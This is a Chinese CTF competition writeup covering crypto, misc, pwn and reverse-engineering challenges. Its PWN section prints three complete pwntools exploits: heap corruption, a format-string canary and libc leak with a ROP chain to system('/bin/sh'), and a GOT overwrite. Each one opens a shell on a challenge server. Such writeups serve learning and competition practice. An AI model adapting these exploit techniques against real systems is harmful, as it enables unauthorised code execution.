這次比賽是我參加以來成績最好的一次,這離不開我們的小團隊中任何一個人的努力,熬了一整天才答完題,差點餓死在工作室(門衛大爺出去散步,把大門鎖了出不去,還好學弟提了幾個盒飯用網線從窗戶釣上來才吃到了午飯)。寫好WP回到宿舍的時候已經快十二點了,隨便吃了點面包倒頭就睡......
接下來大概寫寫我們的解題思路,由於做題的時候沒想到可以進名次,而且賽后比賽平台也關了,所以很多實現過程的截圖就沒法弄了,只下了除web以外的題目。
CRYPTO
第一題 HardGame
這道題我們並沒有做出來,可以看看大佬寫的-->https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA
第二題 哈夫曼之謎
下載下來的壓縮包里就兩個文件
在txt文檔內容如下:
看到哈夫曼我記得當初好像是在數據結構里面學過,果斷找書,百度查資料,后來了解到,上面01的部分其實可以看做是加密的密文,下面相當於解密的秘鑰。
在下面的兩列中,第一列是哈夫曼樹的葉子節點,第二列是對應的權重值,之后就是長久的網上找代碼(沒辦法,代碼功底有點差,寫起來太費時間了,只能網上找找改改)
找到的代碼如下(在vs中運行的,之前的代碼在運行的時候因為數組設置的太小,之后會有溢出,所以我改了下數組大小):
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 typedef int ELEMTYPE; 6 7 // 哈夫曼樹結點結構體 8 typedef struct HuffmanTree 9 { 10 ELEMTYPE weight; 11 ELEMTYPE id; // id用來主要用以區分權值相同的結點,這里代表了下標 12 struct HuffmanTree* lchild; 13 struct HuffmanTree* rchild; 14 }HuffmanNode; 15 16 // 構建哈夫曼樹 17 HuffmanNode* createHuffmanTree(int* a, int n) 18 { 19 int i, j; 20 HuffmanNode **temp, *hufmTree; 21 temp = malloc(n*sizeof(HuffmanNode)); 22 for (i = 0; i<n; ++i) // 將數組a中的權值賦給結點中的weight 23 { 24 temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode)); 25 temp[i]->weight = a[i]; 26 temp[i]->id = i; 27 temp[i]->lchild = temp[i]->rchild = NULL; 28 } 29 30 for (i = 0; i<n - 1; ++i) // 構建哈夫曼樹需要n-1合並 31 { 32 int small1 = -1, small2; // small1、small2分別作為最小和次小權值的下標 33 for (j = 0; j<n; ++j) // 先將最小的兩個下標賦給small1、small2(注意:對應權值未必最小) 34 { 35 if (temp[j] != NULL && small1 == -1) 36 { 37 small1 = j; 38 continue; 39 } 40 else if (temp[j] != NULL) 41 { 42 small2 = j; 43 break; 44 } 45 } 46 47 for (j = small2; j<n; ++j) // 比較權值,挪動small1和small2使之分別成為最小和次小權值的下標 48 { 49 if (temp[j] != NULL) 50 { 51 if (temp[j]->weight < temp[small1]->weight) 52 { 53 small2 = small1; 54 small1 = j; 55 } 56 else if (temp[j]->weight < temp[small2]->weight) 57 { 58 small2 = j; 59 } 60 } 61 } 62 hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode)); 63 hufmTree->weight = temp[small1]->weight + temp[small2]->weight; 64 hufmTree->lchild = temp[small1]; 65 hufmTree->rchild = temp[small2]; 66 67 temp[small1] = hufmTree; 68 temp[small2] = NULL; 69 } 70 free(temp); 71 return hufmTree; 72 } 73 74 // 以廣義表的形式打印哈夫曼樹 75 void PrintHuffmanTree(HuffmanNode* hufmTree) 76 { 77 if (hufmTree) 78 { 79 printf("%d", hufmTree->weight); 80 if (hufmTree->lchild != NULL || hufmTree->rchild != NULL) 81 { 82 printf("("); 83 PrintHuffmanTree(hufmTree->lchild); 84 printf(","); 85 PrintHuffmanTree(hufmTree->rchild); 86 printf(")"); 87 } 88 } 89 } 90 91 // 遞歸進行哈夫曼編碼 92 void HuffmanCode(HuffmanNode* hufmTree, int depth) // depth是哈夫曼樹的深度 93 { 94 static int code[100]; 95 if (hufmTree) 96 { 97 if (hufmTree->lchild == NULL && hufmTree->rchild == NULL) 98 { 99 printf("id為%d權值為%d的葉子結點的哈夫曼編碼為 ", hufmTree->id, hufmTree->weight); 100 int i; 101 for (i = 0; i<depth; ++i) 102 { 103 printf("%d", code[i]); 104 } 105 printf("\n"); 106 } 107 else 108 { 109 code[depth] = 0; 110 HuffmanCode(hufmTree->lchild, depth + 1); 111 code[depth] = 1; 112 HuffmanCode(hufmTree->rchild, depth + 1); 113 } 114 } 115 } 116 117 // 哈夫曼解碼 118 void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[]) // ch是要解碼的01串,string是結點對應的字符 119 { 120 int i; 121 int num[500]; 122 HuffmanNode* tempTree = NULL; 123 for (i = 0; i<strlen(ch); ++i) 124 { 125 if (ch[i] == '0') 126 num[i] = 0; 127 else 128 num[i] = 1; 129 } 130 if (hufmTree) 131 { 132 i = 0; // 計數已解碼01串的長度 133 while (i<strlen(ch)) 134 { 135 tempTree = hufmTree; 136 while (tempTree->lchild != NULL && tempTree->rchild != NULL) 137 { 138 if (num[i] == 0) 139 { 140 tempTree = tempTree->lchild; 141 } 142 else 143 { 144 tempTree = tempTree->rchild; 145 } 146 ++i; 147 } 148 printf("%c", string[tempTree->id]); // 輸出解碼后對應結點的字符 149 } 150 } 151 } 152 153 int main() 154 { 155 int i, n; 156 printf("請輸入葉子結點的個數:\n"); 157 while (1) 158 { 159 scanf("%d", &n); 160 if (n>1) 161 break; 162 else 163 printf("輸入錯誤,請重新輸入n值!"); 164 } 165 166 int* arr; 167 arr = (int*)malloc(n*sizeof(ELEMTYPE)); 168 printf("請輸入%d個葉子結點的權值:\n", n); 169 for (i = 0; i<n; ++i) 170 { 171 scanf("%d", &arr[i]); 172 } 173 174 char ch[500], string[500]; 175 printf("請連續輸入這%d個葉子結點各自所代表的字符:\n", n); 176 fflush(stdin); // 強行清除緩存中的數據,也就是上面輸入權值結束時的回車符 177 gets(string); 178 179 HuffmanNode* hufmTree = NULL; 180 hufmTree = createHuffmanTree(arr, n); 181 182 printf("此哈夫曼樹的廣義表形式為:\n"); 183 PrintHuffmanTree(hufmTree); 184 printf("\n各葉子結點的哈夫曼編碼為:\n"); 185 HuffmanCode(hufmTree, 0); 186 187 printf("要解碼嗎?請輸入編碼:\n"); 188 gets(ch); 189 printf("解碼結果為:\n"); 190 HuffmanDecode(ch, hufmTree, string); 191 printf("\n"); 192 193 free(arr); 194 free(hufmTree); 195 196 return 0; 197 }
最后輸出結果:
最后出來的格式有點問題,要處理一下
MISC
第一題 最短的路
題目如下:
這個題我后來看別人WP說是BSF算法,這個我也不太懂,以前沒碰到過,但是我們學弟直接手擼,就出來了,哈哈~
我看也有人寫了腳本:
第二題 奇怪的TTL字段
題目描述如下:
我們截獲了一些IP數據報,發現報文頭中的TTL值特別可疑,懷疑是通信方嵌入了數據到TTL,我們將這些TTL值提取了出來,你能看出什么端倪嗎?
在txt文檔中全是這種數字,以前遇到過類似的題型,首先都是把里面的數字提取出來,再做處理
至於對數字該怎么處理,就查了好對資料,后來找到一篇文章提醒了我
最后處理方式如下:
63 127 191 255對應00 01 10 11
(如果是2種情況就猜0 1,4種情況就猜00 01 10 11,轉換為8位二進制,然后只取前兩位,因為觀察會發現后面幾位都是1)
之后就是對數據的進制轉換了,最終轉成十六進制
在最后轉換出的結果中,發現了六個jpg的文件頭(ffd8),說明這就是六張圖片,放在winhex生成圖片
再用PS合成了一張二維碼的圖片
掃描結果如下所示:
根據單詞AutomaticKey想到了是:自動密鑰密碼
解密網址:http://ctf.ssleye.com/autokey.html
這種加密只是針對字母,所以解密之后把對應的數字加上就可以了。
附py腳本如下(因為代碼有點多,所以就只上截圖了)
第三題 crackme
這道題我們沒有做出來,可以看大佬寫的wp--->https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA
PWN
第一題 Storm Note
直接上exp
1 from pwn import * 2 #p=process('./storm') 3 p=remote('ctf1.linkedbyx.com',10444) //網址+端口 4 #port:10444 5 def add(size): 6 p.recvuntil('Choice') 7 p.sendline('1') 8 p.recvuntil('?') 9 p.sendline(str(size)) 10 11 def edit(idx,mes): 12 p.recvuntil('Choice') 13 p.sendline('2') 14 p.recvuntil('?') 15 p.sendline(str(idx)) 16 p.recvuntil('Content') 17 p.send(mes) 18 19 def dele(idx): 20 p.recvuntil('Choice') 21 p.sendline('3') 22 p.recvuntil('?') 23 p.sendline(str(idx)) 24 25 add(0x18) #0 26 add(0x508) #1 27 add(0x18) #2 28 edit(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size 29 30 add(0x18) #3 31 add(0x508) #4 32 add(0x18) #5 33 edit(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size 34 add(0x18) #6 35 36 dele(1) 37 edit(0, 'h'*(0x18)) #off-by-one 38 add(0x18) #1 39 add(0x4d8) #7 40 dele(1) 41 dele(2) #backward consolidate 42 add(0x38) #1 43 add(0x4e8) #2 44 45 dele(4) 46 edit(3, 'h'*(0x18)) #off-by-one 47 add(0x18) #4 48 add(0x4d8) #8 49 dele(4) 50 dele(5) #backward consolidate 51 add(0x48) #4 52 53 dele(2) 54 add(0x4e8) #2 55 dele(2) 56 storage = 0xabcd0100 57 fake_chunk = storage - 0x20 58 59 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size 60 p1 += p64(0) + p64(fake_chunk) #bk 61 edit(7, p1) 62 63 p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size 64 p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin 65 p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks 66 edit(8, p2) 67 add(0x48) 68 edit(2,p64(0)*8) 69 70 p.sendline('666') 71 p.send('\x00'*0x30) 72 ''' 73 add(0x100-8) 74 add(0x200) 75 add(0x100) 76 77 edit(1,(p64(0x200)+p64(0x100))*32) 78 dele(1) 79 edit(0,'a'*(0x100-8)) 80 add(0x100) 81 add(0x60) 82 dele(1) 83 dele(2) 84 add(0x100) 85 add(0x60) 86 ''' 87 p.interactive()
第二題 story
這個題好像是libc泄露
上exp
#!/usr/bin/env python # coding=utf-8 from pwn import * io = remote('ctf1.linkedbyk.com', 10195) //網址+端口號 #io = process('./story') elf = ELF('./story') #libc = elf.libc libc = ELF('libc6_2.23-0ubuntu10_amd64.so') io.recv() __libc_start_main_got = elf.got['__libc_start_main'] payload = "%15$llx"+"AAAAAAAA" + "%11$s" + "QQQQ" + p64(__libc_start_main_got) print payload io.sendline(payload) io.recvuntil("Hello ") cannary = int(io.recvuntil('AAAAAAAA', drop = True),16) print hex(cannary) temp = io.recv()[0:6] __libc_start_main_addr = u64(temp+p8(0)*2) libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main'] print hex(__libc_start_main_addr) #one_gadgets = libc_base + 0xf1147 system_addr = libc_base + libc.symbols['system'] bin_sh = libc_base + libc.search('/bin/sh').next() #get one_gadgetA print "get_addr = " + hex(__libc_start_main_addr) #print "one_gadgets = "+ hex(one_gadgets) print "get_got = " + hex(__libc_start_main_got) print "cannay= " + hex(cannary) print "system_addr=" + hex(system_addr) print "bin_sh=" + hex(bin_sh) pop_rdi = 0x0000000000400bd3 #gdb.attach(io) payload = 'A'*136 + p64(cannary) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr) #payload = 'A'*136 + p64(cannary) * 2 + p64(one_gadgets) print hex(cannary) Size = len(payload)+1 print "size = " + str(Size) io.sendline(str(len(payload))) #gdb.attach(io) print io.recv() io.sendline(payload) io.interactive()
第三題 noinfoleak
exp
1 from pwn import * 2 #p=process('./noinfoleak') 3 libc = ELF('./libc-2.23.so') 4 p=remote('ctf1.linkedbyx.com',10426) //網址+端口 5 def add(size,mes): 6 p.recvuntil('>') 7 p.sendline('1') 8 p.recvuntil('>') 9 p.sendline(str(size)) 10 p.recvuntil('>') 11 p.send(mes) 12 13 def dele(idx): 14 p.recvuntil('>') 15 p.sendline('2') 16 p.recvuntil('>') 17 p.sendline(str(idx)) 18 def edit(idx,mes): 19 p.recvuntil('>') 20 p.sendline('3') 21 p.recvuntil('>') 22 p.sendline(str(idx)) 23 p.recvuntil('>') 24 p.send(mes) 25 26 add(0x60,p64(0x71)*4) 27 add(0x60,p64(0x71)*4) 28 add(0x60,p64(0x71)*4) 29 dele(0) 30 dele(1) 31 edit(1,'\x10') 32 add(0x60,p64(0x71)*4) 33 add(0x60,p64(0x71)*4) 34 add(0x50,'aaa') 35 add(0x50,'bbb') 36 edit(0,p64(0)+p64(0xd1)) 37 dele(4) 38 a = 0x46# int(raw_input("a"),16) 39 edit(0,p64(0)+p64(0x71)+'\x5d'+chr(a)) 40 dele(1) 41 dele(2) 42 edit(2,'\x10') 43 add(0x60,'a') 44 add(0x60,'\x00') 45 add(0x60,'\x00') 46 dele(5) 47 dele(6) 48 edit(6,p64(0x601120)) 49 add(0x50,'/bin/sh\x00') 50 add(0x50,'\x20') 51 edit(9,p64(0xfbad3c80)+p64(0)*3+p8(0)) 52 p.send('\n') 53 p.recv(24) 54 addr = u64(p.recv(6).ljust(8,'\x00')) 55 libc_base = addr - (0x7fb4e88cf6e0-0x7fb4e850c000) 56 info("libc:0x%x",libc_base) 57 system = libc_base+libc.symbols['system'] 58 edit(11,p64(0x601018)) 59 edit(9,p64(system)) 60 dele(10) 61 62 p.interactive()
REVERSE
第一題 easyCpp
用IDA打開,分析函數代碼,發現好像是輸入過兩個變換
其他所有的數加上最后一個
- 順序整個反過來,最后一個不變
最后要變成一個斐波那契數列1 1 2 3 5 ... 987,可以得輸入
第二題 Junk_Instruction
這道題我們沒有做出來,可以看大佬寫的wp--->https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA
第三題 Testre
直接用IDA打開,F5查看函數,主要是對代碼的分析,涉及到了些算法
看下面的這點代碼,好像是輾轉相除法
之后查看字符串 主菜單View-Open subviews-strings,看到table
之后就是Base58解密了,網址:http://ctf.ssleye.com/base85.html
(之后再學習后會再進一步詳細補充)
2019-04-08 11:35:05